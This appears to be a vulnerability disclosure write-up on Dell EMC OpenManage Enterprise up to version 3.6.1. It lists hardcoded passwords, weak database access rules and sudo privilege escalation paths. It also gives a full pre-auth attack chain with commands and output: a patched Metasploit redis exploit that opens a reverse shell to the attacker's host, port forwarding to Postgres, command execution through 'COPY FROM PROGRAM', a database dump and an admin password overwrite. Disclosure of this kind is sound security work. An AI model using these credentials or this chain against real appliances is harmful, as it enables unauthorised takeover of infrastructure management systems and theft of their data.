Dell EMC OpenManage Enterprise is an intuitive infrastructure management console.
OpenManage Enterprise is a system management and monitoring application that provides a comprehensive view of the Dell EMC servers, chassis, storage, and network switches on the enterprise network.
From https://www.dell.com/support/kbdoc/en-sg/000175879/support-for-openmanage-enterprise:
Secure: Security is a top priority
Vulnerable versions: all versions up to 3.6.1
The summary of the vulnerabilities is:
system
accountmcsimetricssvc
- partially silently patched in version 3.6.1mcsitasksvc
tomcat
omctui
Miscellaneous notes:
We had forgotten these vulns until we saw some tweets regarding dbutil_2_3.sys
and
we reminded we still had unpublished research in Dell products.
This research was done a year ago (in July 2020) against OpenManage 3.4 and we confirmed all the versions - including the latest version (3.6.1) - are affected by the vulnerabilities.
When checking openmanage enterprise 3.5, we also found new vulnerabilities (java stuff, grub, idrac).
When checking openmanage enterprise 3.6.1, it appears some vulnerabilities were silently patched (java stuff and a LPE).
We also removed some potential vulnerabilities because their exploitations were not straightforward due to the presence of SELinux.
It is possible to retrieve hardcoded ActiveMQ credentials by reading the /opt/apache-activemq-5.*/conf/credentials.properties
file:
[root@openmanage-enterprise /]# cat /opt/apache-activemq-5.*/conf/credentials.properties
activemq.username=system
activemq.password=manager
guest.password=password
A new file (credentials-enc.properties
, which was the file credentials.properties
in previous version of OpenManage) appeared in the 3.5 version:
[root@openmanage-enterprise /]# cat /opt/apache-activemq-5.*/conf/credentials-enc.properties
activemq.username=system
activemq.password=ENC(mYRkg+4Q4hua1kvpCCI2hg==)
guest.password=ENC(Cf3Jf3tM+UrSOoaKU50od5CuBa8rxjoL)
Note: Prior to the 3.5 version, the file credentials.properties
contained the identical encrypted credentials, instead of clear-text credentials:
[root@openmanage-enterprise /]# cat /opt/apache-activemq-5.10.0/conf/credentials.properties
activemq.username=system
activemq.password=ENC(mYRkg+4Q4hua1kvpCCI2hg==)
guest.password=ENC(Cf3Jf3tM+UrSOoaKU50od5CuBa8rxjoL)
In the latest version, it appears the passwords are now in clear-text.
ActiveMQ listen to all the public interfaces:
[root@openmanage-enterprise /]# ps -auxww|grep -i active
ps -auxww|grep -i active
activem+ 1065 0.9 1.2 4042088 208636 ? Sl 04:37 0:06 /usr/bin/java -Xms256m -Xmx512m -Dorg.apache.activemq.SERIALIZABLE_PACKAGES=java.lang,javax.security,java.util,org.apache.activemq,org.fusesource.hawtbuf,com.thoughtworks.xstream.mapper,com.dell.enterprise.common.integration.lib.taskengine -Dcom.sun.management.jmxremote -Djava.awt.headless=true -Djava.io.tmpdir=/var/lib/activemq/tmp -Dactivemq.classpath=/opt/apache-activemq-5.16.0//conf:/opt/apache-activemq-5.16.0//../lib/: -Dactivemq.home=/opt/apache-activemq-5.16.0/ -Dactivemq.base=/opt/apache-activemq-5.16.0/ -Dactivemq.conf=/opt/apache-activemq-5.16.0//conf -Dactivemq.data=/var/lib/activemq/data -jar /opt/apache-activemq-5.16.0//bin/activemq.jar start
[root@openmanage-enterprise /]# netstat -laputen|grep 1065
netstat -laputen|grep 1065
tcp6 0 0 :::46403 :::* LISTEN 1000 27797 1065/java
tcp6 0 0 :::61616 :::* LISTEN 1000 29817 1065/java
Luckily, the firewall blocks all incoming connections to these 2 ports.
Other credentials found:
[root@openmanage-enterprise /]# cat /opt/apache-activemq-*/conf/jetty-realm.properties
[...]
# Defines users that can access the web (console, demo, etc.)
# username: password [,rolename ...]
admin: admin, admin
user: user, user
Furthermore, SELinux doesn't allow users to read /opt/apache-activemq-5.*/conf/
files - still the passwords are hardcoded.
Java Management Extensions (JMX) allows remote debugging of java applications.
These files contain the hardcoded passwords in clear-text for JMX access to ActiveMQ.
Even if they have wrong permissions, SELinux doesn't allow regular users to read /opt/apache-activemq-5.*/conf/
files.
Still the passwords are hardcoded, as shown below:
[root@openmanage-enterprise /]# ls -la /opt/apache-activemq-5.16.0/conf/jmx*
-rwxr-xr-x. 1 root root 965 Sep 25 2020 /opt/apache-activemq-5.16.0/conf/jmx.access
-rwxr-xr-x. 1 root root 964 Sep 25 2020 /opt/apache-activemq-5.16.0/conf/jmx.password
[root@openmanage-enterprise /]# tail -n 1 /opt/apache-activemq-5.16.0/conf/jmx.access
admin readwrite
[root@openmanage-enterprise /]# tail -n 1 /opt/apache-activemq-5.16.0/conf/jmx.password
admin activemq
It is interesting to note that the path of ActiveMQ changes, from old version to the recent one, indicating activemq is updated for every new release of Open Manage Enterprise but the hardcoded credentials are never changed.
We can find several hardcoded keystore files inside /opt/apache-activemq-5.16.0/conf
:
[root@openmanage-enterprise conf]# ls -la *ts *ks
-rwxr-xr-x. 1 root root 1370 Sep 25 2020 broker.ks
-rwxr-xr-x. 1 root root 665 Sep 25 2020 broker.ts
-rwxr-xr-x. 1 root root 1357 Sep 25 2020 client.ks
-rwxr-xr-x. 1 root root 665 Sep 25 2020 client.ts
[root@openmanage-enterprise conf]# sha256sum *ts *ks
1c17bb3b5d1335a0821eb5b9c8c1de7331219619416c9d31a6b775e232bf4456 broker.ts
1c17bb3b5d1335a0821eb5b9c8c1de7331219619416c9d31a6b775e232bf4456 client.ts
718d056b1a5518abf2a5ab38d0e81eb6d41c3187d93c7c54817fcb20503b0c8c broker.ks
ce0d36c002d9912dc5f7344353735277d0af15630199ec91e96eef29a5acd3f4 client.ks
The permissions are wrong (644) but SELinux doesn't allow regular users to read /opt/apache-activemq-5.*/conf/
files.
Still the files are hardcoded.
Also, the password for the keystore file (broker.ks
) is defined in the jetty.xml
file, with 644 permission:
<property name="keyStorePath" value="${activemq.conf}/broker.ks" />
<property name="keyStorePassword" value="password" />
The hardcoded password for the keystore is password
.
The passwords is hardcoded (Dell123$
) and can't be changed:
[root@openmanage-enterprise /]# cat /opt/dell/mcsi/webapps/api/WEB-INF/classes/jdbc.properties
hibernate.connection.url=jdbc:postgresql://localhost:5432/enterprisedb
hibernate.connection.username=core_admin
hibernate.connection.password=Dell123$
Wrong permissions but SELinux again blocks any read attempt.
[root@openmanage-enterprise /]# ls -la /opt/dell/mcsi/webapps/api/WEB-INF/classes/jdbc.properties
-rwxrwxr-x. 1 root root 151 Sep 25 2020 /opt/dell/mcsi/webapps/api/WEB-INF/classes/jdbc.properties
In previous versions (before 3.5), it was also possible to extract the password from the files
/opt/dell/mcsi/lib/db/scripts/mcsi/sysconfigdao/TSQL/9000_attribute_registry - About.txt
and
/opt/dell/mcsi/lib/db/scripts/mcsi/sysconfigdao/TSQL/9040_default_data_sysconfig_templates - About.txt
.
These 2 files contained:
[...]
Create a new Data Source using "PostgreSQL Unicode(x64)"
Data Source: LexingtonLocal
Database: enterprisedb
Server: localhost
User Name: core_admin
Password: Dell123$ <---------- password
SSL Mode: disabled
Port: 5432
Driver: PostgreSQL ODBC Driver(UNICODE)
Alter the "Datasource" within Options of the new data source
Bools as Char: OFF
Unknown Sizes: Longest
[...]
There will be a couple errors that are fixed by replacing 'select' with 'perform' at the line numbers given by the errors.
[...]
declare @serverName nvarchar(256) = N'LEXINGTON';
declare @dataSourceName nvarchar(256) = N'LexingtonLocal';
declare @userName nvarchar(256) = N'core_admin';
declare @password nvarchar(256) = N'Dell123$'; <------ password
[...]
These files don't exist anymore in version 3.5.
Interestingly, Dell123$
is the provided password in the documentation files:
From /opt/dell/omc/webapps/omc/console/omcOnlineHelp/en/GUID-0A8DECB1-C2E7-4904-A071-FEC75D6A54C7.html
:
Must contain at least one character in: uppercase, lowercase, digit, and special character. For example, Dell123$
The command grep -ri 'Dell123\$' /opt/
as root will list several files containing this password.
The /opt/dell/mcsi/lib/db/scripts/mcsi/00_core/01CreateDB/01RoleCreation.sql
script has wrong permissions and contains hardcoded clear-text passwords for the creation of roles in postgres:
Password123$
,md5292f7d66e18e0128fa11bebb95c467a6
as UNENCRYPTED PASSWORD
is being used instead of ENCRYPTED PASSWORD
.
[root@openmanage-enterprise /]# cat /opt/dell/mcsi/lib/db/scripts/mcsi/00_core/01CreateDB/01RoleCreation.sql
-- Role: "core_admin"
-- DROP ROLE core_admin;
--CREATE ROLE core_admin LOGIN
-- ENCRYPTED PASSWORD 'md564f6b341503abb8ca26367630f233b22'
-- NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;
-- CREATE ROLE replicator LOGIN
-- ENCRYPTED PASSWORD 'md5a7c4e11df28c56eac643ace589e81d4e'
-- NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE REPLICATION;
CREATE ROLE core_admin LOGIN
UNENCRYPTED PASSWORD 'md5292f7d66e18e0128fa11bebb95c467a6'
SUPERUSER INHERIT NOCREATEDB NOCREATEROLE;
CREATE ROLE replicator LOGIN
UNENCRYPTED PASSWORD 'Password123$'
NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE REPLICATION;
By default, only the passwords for servers/idrac/appliances inside the postgres database are encrypted using a keystore containing a secret key.
This keystore file is located in /opt/dell/mcsi/appliance/config/security/keystore.p12
.
At first, it seems insecure because its permissions are wrong (664) but this file is in fact protected by SELinux:
[root@openmanage-enterprise /]# ls -la /opt/dell/mcsi/appliance/config/security/keystore.p12
-rw-rw-r--+ 1 root root 313 May 16 04:06 /opt/dell/mcsi/appliance/config/security/keystore.p12
SELinux policy:
/opt/dell/mcsi/appliance/config/security/keystore\.p12 -- system_u:object_r:mcsi_appliance_secret_t:s0
Nonetheless, the password of the keystore is hardcoded:
From /opt/dell/omc/scripts/runonce/update_keystorepassword_runonce.sh
:
[root@openmanage-enterprise /]# cat /opt/dell/omc/scripts/runonce/update_keystorepassword_runonce.sh
[...]
/usr/java/latest/bin/keytool -storepasswd -new "7673D238EBF23E51EC18E9D9B5DAB299" -storepass "changeit" -keystore /opt/dell/mcsi/appliance/config/security/keystore.p12
[...]
/usr/java/latest/bin/keytool -alias "secretKey" -keypasswd -new "7673D238EBF23E51EC18E9D9B5DAB299" -keypass "changeit" -storepass "7673D238EBF23E51EC18E9D9B5DAB299" -keystore /opt/dell/mcsi/appliance/config/security/keystore.p12
The password 7673D238EBF23E51EC18E9D9B5DAB299
was found in all versions of OpenManage and it works:
[root@openmanage-enterprise /]# openssl pkcs12 -info -in /opt/dell/mcsi/appliance/config/security/keystore.p12
Enter Import Password: [7673D238EBF23E51EC18E9D9B5DAB299]
MAC Iteration 100000
MAC verified OK
PKCS7 Data
Warning unsupported bag type: secretBag
We can also find the original password changeit
for the keystore inside the /opt/dell/mcsi/appliance/scripts/ca/importCert.exp
script:
[root@openmanage-enterprise /]# cat /opt/dell/mcsi/appliance/scripts/ca/importCert.exp
[...]
spawn /usr/java/latest/bin/keytool -import -alias localhost -file /etc/pki/tls/certs/localhost.crt -keystore /usr/java/latest/lib/security/cacerts
match_max 100000
expect -exact "Enter keystore password: "
send -- "changeit\r"
expect -exact "Trust this certificate? \[no\]: "
send -- "yes\r"
sleep 3
From the files /opt/dell/mcsi/lib/db/data/pg_hba.conf.core
and /opt/dell/mcsi/lib/db/data/pg_hba.conf.trust
,
the entire docker IP range (169.254.255.1/24
) has a full access to postgres, without password (trust
)
[root@openmanage-enterprise /]# cat /opt/dell/mcsi/lib/db/data/pg_hba.conf.trust
# TYPE DATABASE USER CIDR-ADDRESS METHOD
# "local" is for Unix domain socket connections only
local all postgres trust
local replication rep trust
# IPv4 local connections:
host all postgres 127.0.0.1/32 trust
host all postgres 169.254.255.1/24 trust
host replication rep 169.254.255.1/24 trust
# IPv4 & IPv6 local connections:
host all all 127.0.0.1/32 trust
host all all 169.254.255.1/24 trust
host all all ::1/128 trust
#host replication all 172.18.100.0/16 md5
#hostssl replication all 172.18.100.0/16 md5
host all postgres ::1/128 trust
[root@openmanage-enterprise /]# cat /opt/dell/mcsi/lib/db/data/pg_hba.conf.core
# TYPE DATABASE USER CIDR-ADDRESS METHOD
# "local" is for Unix domain socket connections only
local postgres postgres trust
host enterprisedb core_admin ::1/128 trust
host enterprisedb core_admin 127.0.0.1/32 trust
host enterprisedb core_admin 169.254.255.1/24 trust
local enterprisedb core_admin trust
local replication rep trust
host replication rep 169.254.255.1/24 trust
In fact, no password is being used by the solution to manage the database, as shown below:
[root@openmanage-enterprise /]# cat /var/etc/opt/dell/mcsi/logjdbc.properties
postgresql.connection.url=jdbc:postgresql://localhost:5432/enterprisedb
postgresql.connection.username=core_admin
postgresql.connection.password=
A compromise of a docker instance will likely provide a full access to the Postgres database (see "Remote Auth Bypass with 2 pre-auth RCEs in docker instances" for a demo).
Also, it it possible to see that authentication for Posgtres in the device is mainly based on IP:
[root@openmanage-enterprise /]# cat /opt/dell/omc/scripts/execute_db_script.sh
#!/usr/bin/env bash
dbHost=localhost
dbUser=core_admin
dbName=enterprisedb
dbPort="5432"
psql_arguments=()
[...]
No authentication is being defined in this shell script.
By default, some ACLs allow to connect to Postgres without a password.
A local unprivileged user (e.g.: nobody
) inside the host or inside any docker instances running in the appliance will get code execution as postgres
inside the postgres docker.
He will also get a full control over the database, so a full control over the appliance.
It is possible to reach the postgres database on localhost, thanks to a docker-proxy
daemon:
[root@openmanage-enterprise /]# ps -auxww|grep proxy | grep 5432
root 1340 0.3 0.0 448608 13184 ? Sl 04:37 0:36 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 5432 -container-ip 169.254.255.2 -container-port 5432
It is also possible to reach the postgres database using the IP of the docker instance:
[nobody@openmanage-enterprise /]$ psql -d enterprisedb -h 169.254.255.2 -U core_admin -p 5432
psql (11.9, server 11.6)
Type "help" for help.
enterprisedb=# \l
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
--------------+------------+----------+-------------+-------------+-----------------------
enterprisedb | core_admin | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
(4 rows)
enterprisedb=# \q
[nobody@openmanage-enterprise /]$ psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
psql (11.9, server 11.6)
Type "help" for help.
enterprisedb=# \l
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
--------------+------------+----------+-------------+-------------+-----------------------
enterprisedb | core_admin | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
(4 rows)
enterprisedb=# \q
It is then possible to get code execution inside the postgres docker, without authentication:
[nobody@openmanage-enterprise /]$ psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
psql (11.9, server 11.6)
Type "help" for help.
enterprisedb=# DROP TABLE IF EXISTS cmd_exec;
NOTICE: table "cmd_exec" does not exist, skipping
DROP TABLE
enterprisedb=# CREATE TABLE cmd_exec(cmd_output text);
CREATE TABLE
enterprisedb=# COPY cmd_exec FROM PROGRAM 'id';
COPY 1
enterprisedb=# SELECT * FROM cmd_exec;
cmd_output
--------------------------------------------------------------------
uid=26(postgres) gid=26(postgres) groups=26(postgres),26(postgres)
(1 row)
There is a chain of pre-auth vulnerabilities allowing to:
redis
postgres
Due to some requirements in the exploit chain, the attacker needs to be on the same subnet as the target (same LAN, without a gateway between the target and the attacker).
The attack scenario is:
The network flow is:
Attacker(192.168.1.102) -> redis(169.254.255.3, routed by 192.168.1.100) -> Posgres(169.254.255.2)
IPs used in this setup:
Internal IPs inside Dell OpenManage Enterprise, by default, already configued by the solution:
[root@openmanage-enterprise /]# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
ecf97860f111 redis:latest "docker-entrypoint.s" 2 hours ago Up 2 hours 127.0.0.1:6379->6379/tcp redis
e1e82315ec5b mcsi/omeproductionimage:2.6.0.43 "docker-entrypoint.s" 2 hours ago Up 2 hours 2345/tcp, 127.0.0.1:5432->5432/tcp primarydatabase
Shell and Metasploit session:
It is required to add a route to the internal IP of the redis container running inside OpenManage Enterprise:
kali# route add -host 169.254.255.3 gw 192.168.1.100
kali# traceroute -nI 169.254.255.3
traceroute to 169.254.255.3 (169.254.255.3), 30 hops max, 60 byte packets
1 192.168.1.100 0.775 ms 0.762 ms 1.060 ms
2 169.254.255.3 1.911 ms 1.922 ms 1.893 ms
On the 3.6.1 version, pings are now dropped. Using tcptraceroute
:
kali# tcptraceroute 169.254.255.3 6379
Running:
traceroute -T -O info -p 6379 169.254.255.3
traceroute to 169.254.255.3 (169.254.255.3), 30 hops max, 60 byte packets
1 192.168.1.100 (192.168.1.100) 0.489 ms 0.440 ms 0.545 ms
2 169.254.255.3 (169.254.255.3) <syn,ack> 0.852 ms 0.821 ms 0.720 ms
An attacker can now reach the redis and postgres docker instances because iptables is not correctly configured and allow the 2 services to be reachable from the WAN. Also, by default, IP forwarding is enabled:
[root@openmanage-enterprise /]# sysctl net.ipv4.conf.all.forwarding
net.ipv4.conf.all.forwarding = 1
Why not directly reaching Postgres ?
By default, ACLs defined in Postgres configuration only allow connections from the 169.254.255.0/24
range,
thus it is required to reach the redis interface available on the 169.254.255.3
IP and then use redis as a relay to reach the postgres instance.
local postgres postgres trust
host enterprisedb core_admin ::1/128 trust
host enterprisedb core_admin 127.0.0.1/32 trust
host enterprisedb core_admin 169.254.255.1/24 trust
local enterprisedb core_admin trust
local replication rep trust
host replication rep 169.254.255.1/24 trust
When trying to connect directly to the IP of Postgres, we can see it is ACL-blocked (after adding a route to 169.254.255.2
):
kali# psql -d enterprisedb -h 169.254.255.2 -U core_admin -p 5432
kali# psql: error: could not connect to server: FATAL: no pg_hba.conf entry for host "192.168.1.102", user "core_admin", database "enterprisedb", SSL off
We can test if we can reach directly the redis daemon, running inside the redis docker:
kali# telnet 169.254.255.3 6379
Trying 169.254.255.3...
Connected to 169.254.255.3.
Escape character is '^]'.
TEST
-ERR unknown command `TEST`, with args beginning with:
config set dir /tmp
+OK
^]q
telnet> q
Connection closed.
We can reach redis, time to get RCE using master/slave replication using metasploit.
On the attacker machine, it is required to update the
/usr/share/metasploit-framework/modules/exploits/linux/redis/redis_unauth_exec.rb
file
to use a writable directory for the user redis
:
Patch /usr/share/metasploit-framework/modules/exploits/linux/redis/redis_unauth_exec.rb
to add:
131a132
> redis_command('CONFIG', 'SET', 'dir', '/tmp')
Metasploit session:
kali# msfconsole
msf5 > use exploit/linux/redis/redis_unauth_exec
msf5 exploit(linux/redis/redis_unauth_exec) > set SRVHOST 192.168.1.102
SRVHOST => 192.168.1.102
msf5 exploit(linux/redis/redis_unauth_exec) > set LHOST 192.168.1.102
LHOST => 192.168.1.102
msf5 exploit(linux/redis/redis_unauth_exec) > set RHOSTS 169.254.255.3
RHOSTS => 169.254.255.3
msf5 exploit(linux/redis/redis_unauth_exec) > run
[*] Started reverse TCP handler on 192.168.1.102:4444
[*] 169.254.255.3:6379 - Compile redis module extension file
[+] 169.254.255.3:6379 - Payload generated successfully!
[*] 169.254.255.3:6379 - Listening on 192.168.1.102:6379
[*] 169.254.255.3:6379 - Rogue server close...
[*] 169.254.255.3:6379 - Sending command to trigger payload.
[*] Sending stage (3021284 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.102:4444 -> 192.168.1.100:60572) at 2020-07-11 12:59:57 -0400
[!] 169.254.255.3:6379 - This exploit may require manual cleanup of './mkmiq.so' on the target
meterpreter > ls
Listing: /tmp
=============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 46808 fil 2020-07-09 08:59:55 -0400 mkmiq.so
meterpreter > shell
Process 19 created.
Channel 1 created.
id
uid=999(redis) gid=999(redis) groups=999(redis)
exit
meterpreter >
Note, with a recent metasploit, the exploit has been moved to exploit/linux/redis/redis_replication_cmd_exec
.
The diff is now:
diff /usr/share/metasploit-framework/modules/exploits/linux/redis/redis_replication_cmd_exec.rb
137a138
> redis_command('CONFIG', 'SET', 'DIR', '/tmp')
This works with all openmanage version (up to the latest version - 3.6.1).
After getting a shell as redis
inside the redis docker, it is time to add a port forwarding
to the postgresql, in order to bypass ACLs:
meterpreter > portfwd add -l 5432 -p 5432 -r 169.254.255.2
[*] Local TCP relay created: :5432 <-> 169.254.255.2:5432
On another shell, an attacker will get code execution inside the PGSQL container:
kali# psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
psql (12.1 (Debian 12.1-2), server 11.6)
Type "help" for help.
enterprisedb-# \l
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
--------------+------------+----------+-------------+-------------+-----------------------
enterprisedb | core_admin | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
(4 rows)
enterprisedb=# DROP TABLE IF EXISTS cmd_exec;
DROP TABLE
enterprisedb=# CREATE TABLE cmd_exec(cmd_output text);
CREATE TABLE
enterprisedb=# COPY cmd_exec FROM PROGRAM 'id';
COPY 1
enterprisedb=# SELECT * FROM cmd_exec;
cmd_output
-------------------------------------------------------
uid=26(postgres) gid=26(postgres) groups=26(postgres)
(1 row)
enterprisedb=#
Dump of database:
kali# pg_dump -d enterprisedb -h 127.0.0.1 -U core_admin > dump.sql
Time to redefine the administrator password:
Passwords are located in encryptedstring
table:
kali# psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
enterprisedb=# SELECT * FROM encryptedstring;
3 | $2a$10$.hbHnOt6crprUoAO2PMJxerc8nQ12SJ.jxgM8JgZiuLIfkCVNgSqe
4 | system
1 | $2a$10$bzBdUKXFdlb0U7Hl.w6XIuQFKQQr0Qgi165KN2TaaOemlaAe.OuU2
2 | admin
Change admin password into x
:
kali# psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
enterprisedb=# UPDATE encryptedstring SET encrypteddata='$2a$10$XXXXXXXXXXXXXXXXXXXXXOQhTG4aUZ8kSMBOnpMruh17xTsANIaT6' WHERE id=1;
UPDATE 1
enterprisedb=#
Now, use admin
/ x
on the web interface ( http://192.168.1.100/ ).
After reversing some java code, passwords are blowfish 10 rounds:
kali# python3
Python 3.7.5 (default, Oct 27 2019, 15:43:29)
[GCC 9.2.1 20191022] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import bcrypt
>>> passwd = b'x'
>>> salt = b'$2a$10$XXXXXXXXXXXXXXXXXXXXXXXXX' # or bcrypt.gensalt(rounds=10)
>>> hashed = bcrypt.hashpw(passwd, salt)
>>> print(hashed)
b'$2a$10$XXXXXXXXXXXXXXXXXXXXXOQhTG4aUZ8kSMBOnpMruh17xTsANIaT6'
>>>
The main takeways in this setup are:
169.254.255.1/24
is being used instead of 169.254.255.1/32
or 169.254.255.0/24
system
accountThere is likely an undocumented system account in all openmanage versions, as shown below:
We can list the users from the postgres database:
enterprisedb=# select * from user_entity;
id | user_type_id | directory_server_id | user_name | description | pwcredential_id | email | isenabled | locked | enable_smart_card | ca_certificate | user_certificate | default_account | object_guid | object_sid | id_owner
-------+--------------+---------------------+-----------+-------------+-----------------+-------+-----------+--------+-------------------+----------------+------------------+-----------------+-------------+------------+---------
10066 | 1 | | admin | admin | 1 | | t | f | f |
10068 | 1 | | system | system | 2 | | t | f | f |
enterprisedb=# select * from passwordcredential;
id | dtype | label | usernameid | passwordid | domainid | updatedate
----+--------------------------------+--------+------------+------------+----------+----------------------------
2 | HashedPasswordCredentialEntity | system | 4 | 3 | | 2020-07-11 18:08:50.207+00
1 | HashedPasswordCredentialEntity | admin | 2 | 1 | | 2020-07-11 18:14:41.012+00
(2 rows)
kali# psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
enterprisedb=# SELECT * FROM encryptedstring;
id | encrypteddata
----+--------------------------------------------------------------
3 | $2a$10$.hbHnOt6crprUoAO2PMJxerc8nQ12SJ.jxgM8JgZiuLIfkCVNgSqe
4 | system
2 | admin
1 | $2a$10$XXXXXXXXXXXXXXXXXXXXXOQhTG4aUZ8kSMBOnpMruh17xTsANIaT6
Also from dump.sql:
COPY core.passwordcredential (id, dtype, label, usernameid, passwordid, domainid, updatedate) FROM stdin;
2 HashedPasswordCredentialEntity system 4 3 \N 2020-07-11 11:24:42.386+00
1 HashedPasswordCredentialEntity admin 2 1 \N 2020-07-11 11:26:14.551+00
\.
When trying to add a system
account:
This account doesn't seem to be documented but we were unable to use it to login into the web service.
Its aim is currently not known.
The application database key (DatabaseKey
) is generated randomly during the installation and is stored inside the database.
It is possible to extract it without authentication:
COPY core.encryptionkey (id, dtype, bytes) FROM stdin;
1 DatabaseKey DHAqjsvpfUh+aRZKLTa6+K+rmHBtcPafoyuIMPTqV3hTUbGTb08ZzZSkF4GYgbPQ
\.
The TLS key has weak permissions:
[root@openmanage-enterprise /]# ls -la /etc/pki/tls/private/localhost.key
-rw-r--r--. 1 root root 3272 Jul 11 2020 /etc/pki/tls/private/localhost.key
No SELinux protection - this allows any user to read the files.
mcsimetricssvc
The file /etc/sudoers.d/94_mcsi_metrics
belongs to mcsimetricssvc
, as shown below:
[root@openmanage-enterprise etc]# ls -la /etc/sudoers.d/94_mcsi_metrics
-rw-rw-r--. 1 mcsimetricssvc root 847 Sep 25 2020 /etc/sudoers.d/94_mcsi_metrics
This user can just edit this file to get root access using sudo
.
It is also possible to directly find this weakness by executing sudo
, a warning message will appear:
[root@openmanage-enterprise ~]# sudo id
sudo: /etc/sudoers.d/94_mcsi_metrics is owned by uid 1005, should be 0
uid=0(root) gid=0(root) groups=0(root)
This LPE was silently patched in version 3.6.1.
Futhermore, this user has these (large) sudo privileges:
%mcsimetricssvc ALL=NOPASSWD:/usr/bin/mount, /usr/bin/cp, /usr/bin/umount, /usr/bin/gpg,/opt/dell/mcsi/appliance/scripts/pam/config_user_access.sh,/opt/dell/mcsi/appliance/scripts/port_validation.sh,/opt/dell/mcsi/appliance/scripts/change_timezone.py,/opt/dell/mcsi/appliance/scripts/restore_application.py,/opt/dell/mcsi/appliance/scripts/certificate_tool.py,/opt/dell/mcsi/appliance/scripts/change_hostname.py,/opt/dell/mcsi/appliance/scripts/address_configuration.py,/opt/dell/mcsi/appliance/scripts/current_network_settings.py, /usr/bin/lscpu,/usr/bin/free,/opt/dell/mcsi/appliance/scripts/ntp_tool.py,/opt/dell/mcsi/appliance/scripts/dump_logs.py,/opt/dell/mcsi/appliance/scripts/change_webconfig.py,/opt/dell/mcsi/appliance/scripts/branding.py,/usr/bin/systemctl,/usr/bin/date,/usr/bin/ntpstat,/usr/sbin/ntpq,/usr/bin/python,/usr/sbin/ntpdc
At least /usr/bin/mount
, /usr/bin/cp
, /usr/bin/gpg
, /usr/bin/systemctl
and /usr/bin/python
can be used to elevate to root.
mcsitasksvc
Users belonging to group mcsitasksvc
can sudo:
%mcsitasksvc ALL=NOPASSWD:/usr/bin/mount, /usr/bin/cp, /usr/bin/umount, /usr/bin/gpg,/opt/dell/mcsi/appliance/scripts/pam/config_user_access.sh,/opt/dell/mcsi/appliance/scripts/port_validation.sh,/opt/dell/mcsi/appliance/scripts/change_timezone.py,/opt/dell/mcsi/appliance/scripts/restore_application.py,/opt/dell/mcsi/appliance/scripts/certificate_tool.py,/opt/dell/mcsi/appliance/scripts/change_hostname.py,/opt/dell/mcsi/appliance/scripts/address_configuration.py,/opt/dell/mcsi/appliance/scripts/virtual_ip_configuration.py,/opt/dell/mcsi/appliance/scripts/current_network_settings.py, /usr/bin/lscpu,/usr/bin/free,/opt/dell/mcsi/appliance/scripts/ntp_tool.py,/opt/dell/mcsi/appliance/scripts/dump_logs.py,/opt/dell/mcsi/appliance/scripts/change_webconfig.py,/opt/dell/mcsi/appliance/scripts/branding.py,/usr/bin/systemctl,/usr/bin/date,/usr/bin/ntpstat,/usr/sbin/ntpq,/usr/bin/python3,/usr/sbin/ntpdc,/opt/dell/mcsi/appliance/scripts/configureSSHDTimeout.sh,/opt/dell/mcsi/appliance/scripts/resolve.sh,/usr/bin/nmcli
%mcsitasksvc ALL=NOPASSWD:/opt/dell/omc/utilities/cifsconfiguration/bin/reset_cifs_password.sh, /opt/dell/omc/utilities/cifsconfiguration/bin/test_cifs_config.sh, /usr/bin/smbpasswd, /usr/bin/systemctl
At least /usr/bin/mount
, /usr/bin/cp
, /usr/bin/gpg
, /usr/bin/systemctl
and /usr/bin/python3
can be used to elevate to root.
tomcat
Users belonging to group tomcat
can sudo:
